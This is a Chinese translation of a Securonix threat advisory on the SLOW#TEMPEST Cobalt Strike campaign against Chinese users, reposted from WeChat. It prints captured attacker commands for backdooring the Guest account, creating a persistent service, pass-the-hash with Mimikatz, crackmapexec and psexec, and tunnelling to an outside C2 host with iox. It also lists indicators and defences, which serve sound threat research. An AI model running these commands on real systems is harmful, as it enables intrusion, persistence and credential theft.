Securonix威胁研究团队揭露了一个针对讲中文用户的隐蔽活动,该活动使用Cobalt Strike有效载荷,很可能是通过钓鱼邮件进行分发。攻击者设法在系统中横向移动,建立持久性,并在超过两周的时间内保持未被检测到。
在Securonix威胁研究人员识别的名为SLOW#TEMPEST的最近一次攻击活动中,恶意ZIP文件被分发,目的是在目标系统上部署Cobalt Strike植入物。
该活动似乎专门针对中国境内的受害者,这一点从主要用中文写的文件名和诱饵中可以看出。 此外,威胁行为者使用的所有命令和控制(C2)基础设施都由中国的腾讯云托管。通过对恶意样本的遥测数据进行详细分析,表明大多数涉及的恶意软件和文件源自中国,进一步证实了中国确实是这次攻击的主要目标。
关于攻击的起源,我们无法得出明确结论。同时,虽然我们无法准确确定攻击向量,但它似乎与传统的钓鱼邮件策略一致。在SLOW#TEMPEST案例中,很可能是通过未经请求的电子邮件分发了(有时是密码保护的)ZIP文件。
在超过两周的时间线内,我们能够追踪到威胁行为者的行动,他们能够提升权限,横向移动到其他系统,并在每个被入侵的主机上建立持久性。我们将在本咨询中突出这些策略的每一个。
初始感染
代码执行始于包含在压缩归档(.zip)文件中的快捷方式(.lnk)文件。我们分析了一些样本,其中一个是名为“20240739人员名单信息.zip”的文件。
一些样本(如上述文件)是密码保护的。这是Qakbot威胁行为者常用的策略,密码在钓鱼邮件正文中提供。对zip文件内容进行加密,确保基于电子邮件的防病毒软件无法正确检查和标记任何包含的内容。
一旦打开了zip文件并提供了密码(如果需要),用户就会看到一个伪装成.docx文件的单个LNK文件。一个例子包含了一个名为“违规远程控制软件人员名单.docx.lnk”的快捷方式文件。
诱饵文件和初始代码分析
当用户执行恶意LNK文件时,我们的代码执行就开始了。它首先运行一个包含在相当奇怪的目录结构中的可执行文件,目录结构中包含了对“MACOS”元数据文件的引用。第一个被“????”掩蔽的目录命名为“其他信息”。
看来LNK文件的图标被设置为同一目录中的1.docx,但我们分析的所有zip文件中都没有这个文件。这导致文件对用户显示为空白或空图标。
图1:违规远程控制软件人员名单.docx.lnk的分析 |
在运行父目录中的“tree”命令后,可以看到下图中的奇怪目录结构。
由LNK文件引用的两个隐藏文件:dui70.dll和UI.exe:
图2:解压zip文件内容后“tree”命令的输出 |
DLL劫持和Cobalt Strike植入物执行
位于“其他信息.__MACOS__._MACOS___MACOSX_MACOS_”目录中的两个文件:dui70.dll和UI.exe。文件UI.exe是微软签名的合法可执行文件,已从LicensingUI.exe重命名。
LicensingUI.exe是Windows中的合法系统文件,负责显示与软件许可和激活相关的用户界面。合法文件旨在导入几个合法的DLL文件,其中之一是dui70.dll,通常位于C:WindowsSystem32。然而,由于DLL路径遍历漏洞,任何包含相同名称的DLL都可以在通过LNK文件执行重命名的UI.exe时被侧加载。
截至发布之时,这种涉及LicensingUI.exe的DLL侧加载或劫持技术似乎是未报告的。有关二进制文件“UI.exe”和证书验证的详细信息可以在下图中找到:
图3:Cobalt Strike(DLL)和UI.exe(合法)文件执行。 |
DLL文件是Cobalt Strike植入物,允许攻击者对系统进行持久和隐蔽的访问。我们能够提取其配置,详情可以在本出版物末尾的附录A中看到。总之,它被编程为通过端口11443向hxxp://123.207.74[.]22/mall_100_100.html发出信标。
信标使用“Malleable_C2_Instructions”(附录A)描述的混淆网络流量,并依赖于删除特定字节段等常见规避技术来绕过基于网络的检测。
Cobalt Strike植入物被编程为注入Windows二进制文件“runonce.exe”。这产生了下图中any.run进程树所看到的进程链:
图4:Cobalt Strike进程链 |
由于攻击者已经接入了runonce.exe进程,我们的团队能够观察到大部分初始阶段和枚举活动。
后期利用 - 攻击者手动操作
现在攻击者已经完全控制了目标主机,我们观察到最初的后期利用活动,包括设置一个暂存目录,以及下载额外的枚举和攻击工具到主机。
首先,攻击者创建了以下目录进行暂存:C:WindowsTemptmp
接下来,几个二进制文件被下载到目录中:
-
fpr.exe:未知可执行文件 -
iox.exe:用于端口转发和设置代理连接的工具 -
fscan.exe:在红队中众所周知的扫描器,用于识别活动主机和开放端口。输出文件是“result.txt” -
netspy.exe:用于捕获网络流量或扫描网络漏洞的网络侦察工具。日志文件是netspy.log和alive.txt -
lld.exe:一个shellcode加载器二进制文件,在我们的情况下加载并执行保存在C:WindowsTemptmptmp.log中的原始shellcode -
xxx.txt:在重命名为tmp.log之前与tmp.log相同 -
tmp.log:包含由lld.exe执行的shellcode的文件 -
sharpdecryptpwd.exe:一个基于命令行的实用程序,用于收集和转储从安装的应用程序(如Navicat、TeamViewer、FileZilla、WinSCP和Xmanager)中缓存的凭据 -
pvefindaduser.exe:用于Windows活动目录(AD)用户枚举。 -
new text document.txt:未知 - 我们未能捕获此文件 -
gogo_windows_amd64.exe:似乎与开源项目“Nemo”有关,该项目自动化枚举工具,如Nmap、Masscan等。输出“.sock.lock”和“output.txt”文件。
攻击者依次执行了这些实用程序或工具。网络端口转发和隧道工具“iox.exe”被用来与外部基础设施(49.235.152[.]72:8282)建立隧道,使他们能够将捕获的枚举信息和其他数据从被入侵的网络中渗出。
权限提升和持久性
攻击者通过创建一个名为“windowsinspectionupdate”的计划任务,设法在被入侵环境中保持持久访问。此任务旨在定期执行一个恶意可执行文件“lld.exe”。“lld.exe”文件是攻击者工具包中的关键组件,专门用于执行shellcode,可以直接在内存中运行任意代码。其隐蔽性使其能够有效地绕过传统的安全控制。
通过安排这个任务,攻击者确保“lld.exe”被重复执行,允许他们在重新启动或网络中断后重新建立或保持对被入侵系统的控制。这种持久性机制特别有效,因为它可以生存系统重启,使得在不识别和删除计划任务的情况下,很难完全移除攻击者的立足点。
任务计划程序设置的执行命令如下:
cmd /c start c:windowstemptmplld.exe c:windowstemptmptmp.log
用户和组修改
攻击者进一步通过手动提升内置Guest用户帐户的权限,使自己能够在被入侵的系统中隐藏。这个帐户通常被禁用且权限最小,但攻击者通过将其添加到关键的管理员组并分配一个新密码,将其转变为一个强大的访问点。
cmd.exe /c net user guest
cmd.exe /c net localgroup administrators guest /add
cmd.exe /c net localgroup “remote desktop users” guest /add
cmd.exe /c net user guest 1qaz@wsx
cmd.exe /c net user guest
cmd.exe /c net user guest /active:yes
cmd.exe /c net user guest
攻击者对Guest帐户的操纵显著增加了系统的安全风险。通过将一个低权限、通常被禁用的帐户转变为具有管理员和远程访问能力的帐户,攻击者创建了一个强大的后门,这个后门很容易被忽视。这个后门允许他们以最小的检测保持对系统的访问,因为Guest帐户通常不像其他用户帐户那样受到密切监控。
接下来,攻击者启动了网络扫描,主要是通过“iox.exe”实用程序,识别并探测其他内部系统(例如,MSSQL服务器和特定子网)。
通过Windows服务持久性
攻击者通过手动执行一系列命令,进一步确保了他们在被入侵环境中的持久性。这些命令用于安装一个名为“windowsinspectionupdate”的恶意服务。此服务专门设计为每次系统启动时运行一个单一的可执行文件“lld.exe”,输入一个文件“tmp.log”。如果你还记得,这个可执行文件的目的是执行一个shellcode文件。这种技术允许攻击者即使在系统重新启动或遇到其他中断后,也能维持对被入侵系统的持续访问。
观察到使用以下命令序列创建了该服务:
cmd.exe /c start /b lld.exe xxx.txt
cmd.exe /c move xxx.txt tmp.log
cmd.exe /c sc create “windowsinspectionupdate” binpath= “cmd /c start c:windowstemptmplld.exe c:windowstemptmptmp.log”
cmd.exe /c sc description windowsinspectionupdate “windows inspection integrity”
cmd.exe /c sc config windowsinspectionupdate start= auto
横向移动和凭据收集
攻击者主要通过使用RDP(远程桌面协议)在网络中横向移动。他们首先尝试使用最初被入侵的用户帐户登录到其他系统,但未成功。
最终,从主机名到另一个加入域的服务器成功建立了RDP连接。一旦进入,他们启动了多个侦察和扫描工具,如fscan.exe和netspy.exe。根据工具拦截的结果文本文件输出,攻击者开始枚举五个开放端口的主机。
他们还使用凭据盗窃工具,如sharpdecryptpwd.exe,从浏览器(这次攻击链中是Chrome浏览器)中提取存储的凭据。然后使用在浏览器中存储的凭据来验证并通过网络跃迁到其他系统。
cmd.exe /c sharpdecryptpwd.exe chrome
我们观察到Cobalt Strike进程“lld.exe”中使用了Windows凭据转储实用程序Mimikatz。此外,攻击者尝试了传递哈希值,作为捕获的用户的哈希值和哈希组合之一。用户针对mstc.exe进程,这是Microsoft的远程桌面连接工具的可执行文件。以下捕获的命令启动了以目标用户身份的RDP会话。使用/restrictedadmin标志确保用户的凭据不会通过网络发送,这可能会减少基于网络的检测。
sekurlsa::pth /user:[REDACTED] /domain:[REDACTED] /ntlm:[REDACTED] “/run:mstsc.exe /restrictedadmin”
在另一次尝试横向移动中,使用了从mimikatz中收集的凭据。此外,通过Cobalt Strike植入物,攻击者首先尝试使用管理员用户身份通过哈希值对收集到的IP地址列表进行身份验证。
crackmapexec smb ip.txt -u [REDACTED_DOMAIN]/Administrator -H [REDACTED_HASH]
不久后,我们观察到psexec.py被用来针对特定IP地址:
python3 psexec.py [REDACTED_USER]@[REDACTED_IP] -hashes [REDACTED_HASH] -codec gbk
在LSA中禁用“受限管理员模式”
起初,攻击者使用RDP建立内部远程连接。在他们横向移动时,他们执行了注册表命令,通过将Windows注册表中的disablerestrictedadmin值设置为0来禁用“受限管理员模式”。。受限管理员模式是较新版本的Windows中引入的一个安全功能,它限制了通过远程桌面协议(RDP)连接到远程系统时的凭据暴露。
cmd.exe /c reg add “HKLMSystemCurrentControlSetcontrollsa” /v disablerestrictedadmin /t reg_dword /d 00000000 /f
然后使用以下命令进行验证:
cmd.exe /c reg query “hklmsystemcurrentcontrolsetcontrollsa” | findstr “disablerestrictedadmin”
重新建立远程连接
一旦攻击者成功地转移到其他系统,他们使用iox.exe建立了另一个远程连接回他们的C2服务器:
cmd.exe /c start /b iox.exe proxy -r *49.235.152[.]72:8282 -k 616161
使用BloodHound进行域枚举
作为后期利用/横向移动阶段的一部分,攻击者部署了BloodHound,这是一个用于活动目录(AD)侦察的强大工具。BloodHound旨在绘制并分析AD环境中的关系,为攻击者提供详细的数据,以识别和利用潜在的权限提升和横向移动路径。
在SLOW#TEMPEST活动过程中,BloodHound是通过runonce.exe进程执行的,如果你还记得,这是Cobalt Strike的目标或退出进程。一旦部署,BloodHound收集了关于AD环境的大量数据,包括用户、计算机、组、组织单位、组策略对象和其他域组件信息。
BloodHound收集的数据随后被编译成几个.json文件,提供了AD结构的详细地图。这些文件随后被压缩成BloodHound.zip存档。一旦渗出,攻击者能够在他们自己的系统上详细分析数据。
额外的枚举命令
在几个系统上捕获了这些命令。攻击者使用了混合的内置Windows实用程序,如ping、netstat和tasklist,例如,扫描或探测他们的环境。还使用了基于中国的公共IP信息网站(hxxp://myip[.]ipip.net),使用“curl”获取系统的公共IP地址。
一般系统枚举命令
cmd.exe /c ipconfig
cmd.exe /c wevtutil cl “windows powershell”
cmd.exe /c ping [REDACTED]
cmd.exe /c tasklist /svc
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c ping dc.[REDACTED] -c 2
cmd.exe /c net
cmd.exe /c net user /domain
cmd.exe /c net user [REDACTED] /domain
cmd.exe /c start /b fpr.exe
cmd.exe /c netstat -ano
cmd.exe /c whoami
cmd.exe /c fpr.exe
cmd.exe /c ping 123.56.168[.]30
cmd.exe /c net user [REDACTED] /domain
net1 user [REDACTED] /domain
cmd.exe /c netstat -ano | findstr 3398
netstat -ano |findstr established
使用iox.exe建立代理连接
cmd.exe /c start /b iox.exe proxy -r *49.235.152[.]72:8282 -k 616161
cmd.exe /c curl hxxp://myip.ipip[.]net
使用fscan.exe枚举本地子网
cmd.exe /c fscan.exe -h [REDACTED]/24
cmd.exe /c fscan.exe -hf alive.txt
查找AD用户
pvefindaduser.exe -current -noping -os
Nemo网络枚举
gogo_windows_amd64.exe -i [REDACTED]/24 -p all -f output.txt
gogo_windows_amd64.exe -i [REDACTED]/24 -p 445 -f output.txt
gogo_windows_amd64.exe
gogo_windows_amd64.exe [REDACTED]/24 -p 445
gogo_windows_amd64.exe -i [REDACTED]/24 -p 445
攻击者基础设施分析
在攻击进行期间,我们能够观察到攻击的关键细节。其中一些包括攻击者的OPSEC(操作安全)失败。一个例子是捕获Cobalt Strike命令。我们观察到几起这些OPSEC失败的情况,结果为我们提供了关于攻击者基础设施的意外详细信息,例如用户名和系统信息。例如,考虑以下捕获的Cobalt Strike命令:
execute-assembly /Users/apple/Desktop/C++/sb.exe -e hxxps://360-1305242994.cos.ap-nanjing.myqcloud[.]com/wel/ns/sa64.gif -s c:\windows\system32\runonce.exe -a “browser -b all -z” –disable-bypass-cmdline –disable-bypass-amsi –disable-bypass-etw
从攻击者捕获的命令提供了使用Cobalt Strike的execute-assembly模块执行有效载荷的见解。从“/Users/apple/Desktop/C++/sb.exe”传递了一个二进制文件,这表明根据目录结构,攻击者是在macOS环境中运行Cobalt Strike。这在技术上并不新鲜,因为已经有观察到的活动可以追溯到2022年通过Geacon。
sb.exe进程似乎是SharpBlock的编译版本,SharpBlock是一个开源工具,允许绕过EDR和Microsoft的反恶意软件扫描接口(AMSI),植入由攻击者控制的指定进程。sa64.gif是searchall64.exe的重命名副本,searchall是一个旨在搜索目标机器上的敏感信息(包括用户名、密码、账户详细信息)的开源实用程序。
在同一Cobalt Strike会话中,我们观察到了从以下本地路径执行的文件,为我们提供了另一个用户名,“guoyansong”,这可能是中国人名“郭延松”的缩写。
/Users/guoyansong/D/gongju/????/??????/????/SharpWeb.exe
最后,所有IP地址都通过中国腾讯云托管。在360-1305242994.cos.ap-nanjing.myqcloud[.]com上托管的有效载荷,也由中国公司腾讯通过腾讯云对象存储(COS)资源托管。
总结……
Securonix威胁研究团队发现的SLOW#TEMPEST活动揭示了一个高度组织化和复杂的攻击,针对讲中文的用户。虽然没有确凿证据将这次攻击与任何已知的APT组织联系起来,但它很可能是由一个经验丰富的威胁行为者策划的,他们有使用CobaltStrike等先进利用框架以及其他一系列后期利用工具的经验。该活动在初始妥协、持久性、权限提升和网络横向移动方面的复杂性体现在其方法论上。
使用未记录的DLL注入技术,例如利用微软签名的可执行文件LicensingUI.exe,以及部署BloodHound进行活动目录侦察,展示了这次攻击的先进性。此外,威胁行为者为确保通过创建计划任务和提升用户权限来实现持久性,表明了攻击者意图长期控制目标系统,这次攻击持续了两周多。
Securonix建议
本次调查中确定的关键妥协指标为安全团队提供了关键数据点,旨在检测并应对其环境中的类似威胁。通过了解攻击者在这次活动中使用的方法和工具,防御者可以更好地准备保护其网络免受这些高级持续性威胁的侵害。
-
由于这次活动很可能是使用钓鱼邮件开始的,避免从外部来源下载文件或附件,特别是如果来源是未经请求的。常见的文件类型包括zip、rar、iso和pdf。在这次活动中使用了有时是密码保护的zip文件。 -
监控常见的恶意软件暂存目录,特别是脚本相关活动的世界可写目录。在这次活动的案例中,威胁行为者在C:ProgramData、C:WindowsTemp以及用户的%APPDATA%目录的子目录中暂存。 -
在SLOW#TEMPEST活动的各个阶段,威胁行为者利用加密通道通过各种端口逃避检测。因此,我们强烈建议部署强大的端点日志记录功能。这包括利用Sysmon和PowerShell日志记录等额外的进程级日志记录,以获得额外的日志检测覆盖。
MITRE ATT&CK矩阵
战术 | 技术 |
初始访问 | T1078.001: 有效帐户:默认帐户 T1566.001: 钓鱼:鱼叉式钓鱼附件 |
收集 | T1560: 归档收集数据 |
命令和控制 | T1132: 数据编码 |
凭证访问 | T1003: OS凭证转储 T1555: 来自密码存储的凭证 |
防御绕过 | T1070.004: 指标移除:文件删除 T1562.001: 损害防御:禁用或修改工具 T1574.001: 劫持执行流程:DLL搜索顺序劫持 T1620: 反射式代码加载 |
发现 | T1033: 系统所有者/用户发现 T1057: 进程发现 T1069: 权限组发现:域组 T1082: 系统信息发现 |
执行 | T1059.001: 命令和脚本解释器:PowerShell T1059.003: 命令和脚本解释器:Windows命令壳 T1059.006: 命令和脚本解释器:Python T1569.002: 系统服务:服务执行 T1204.001: 用户执行:恶意链接 T1204.002: 用户执行:恶意文件 |
横向移动 | T1021.001: 远程服务:远程桌面协议 T1550.002: 使用替代身份验证材料:传递哈希 |
持久性 | T1053: 计划任务/作业 |
数据渗出 | T1041: 通过C2通道渗出数据 |
C2和基础设施
C2地址 |
123.207.74[.]22 |
123.56.168[.]30 |
49.235.152[.]72 |
myip.ipip[.]net |
360-1305242994.cos.ap-nanjing.myqcloud[.]com/wel/ns/sa64.gif |
分析的文件/哈希
文件名 | SHA256 |
Archive.zip (重命名) | 8e77101d3f615a58b8d759e8b82ca3dffd4823b9f72dc5c6989bb4311bdffa86 04bcf25d07e5cf060e742325d6123242f262888705acac649f8d5010a5eb6a87 c35ea8498ed7ae33513e26fac321fecf0fc9306dda8c783904968e3c51648c37 |
20240739人员名单信息.zip | 3a9b64a61f6373ee427f27726460e7047b21ddcfd1d0d45ee4145192327a0408 |
╠Õ╝ý▒¿©µ.lnk | 28030E8CF4C9C39665A0552E82DA86781B00F099E240DB83F1D1A3AE0E990AB6 |
违规远程控制软件人员名单.docx.lnk | 1BA77DD1F5BF31D45FDB160C52EBE5829EC373350CDE35818FB90D45352B3601 |
dui70.dll | 1189D34E983A6FC9D2DC37AD591287C9E3E4D4BA83F66C7EDE692C36274BA648 |
gogo_windows_amd64.exe | 706BD7E05F275814C3B86EEC1A87148662029D91D0CE9B80386AAFFE7AA3753B |
iox.exe | C6CF82919B809967D9D90EA73772A8AA1C |
1EB3BC59252D977500F64F1A0D6731 | |
LLD.exe | 0BD048E0BCE956EDFBCEE6EDF32B8B67E08275BD38125B40A98665FAB4926C9D |
netspy.exe | 97C5CD06B543B0BDB270666092348EFBA0A9670AF05B11F3B56BF4B418DEC43A |
PVEFindADUser.exe | 7DC0E13A5F1A70C4E41F4B92372259B050A395104650D57385ECAA148481AE5C |
fpr.exe | 1F510DED0D181B4636E83C69B66C92465DC0E64F6DB946FA4C246E7741F66141 |
sharpdecryptpwd.exe | 9F650117288B26312E84F32E23783FE3C81FCBA771C8AE58119BE92344C006CC |
pvefindaduser.exe | 7DC0E13A5F1A70C4E41F4B92372259B050A395104650D57385ECAA148481AE5C |
tmp.log | EFE53F18D282516149BC6FEAC44C17DDE9F0704D95598AECBA3E7D734727B07E |
sa64.gif | 33A910162EAFE750316ADFAD4AB0955BE24C1BA048C2EC236C95E4A795C42932 |
参考
-
QakBot恶意软件利用未修补的漏洞绕过Windows安全
https://blog.eclecticiq.com/qakbot-malware-used-unpatched-vulnerability-to-bypass-windows-os-security-feature
-
HackTricks: DLL劫持
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking
-
Geacon为macOS威胁行为者带来Cobalt Strike功能
https://www.sentinelone.com/blog/geacon-brings-cobalt-strike-capabilities-to-macos-threat-actors/
原文始发于微信公众号(独眼情报):深入剖析针对中国用户的攻击活动(判断为Hvv样本被捕获了,红队速来认领)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论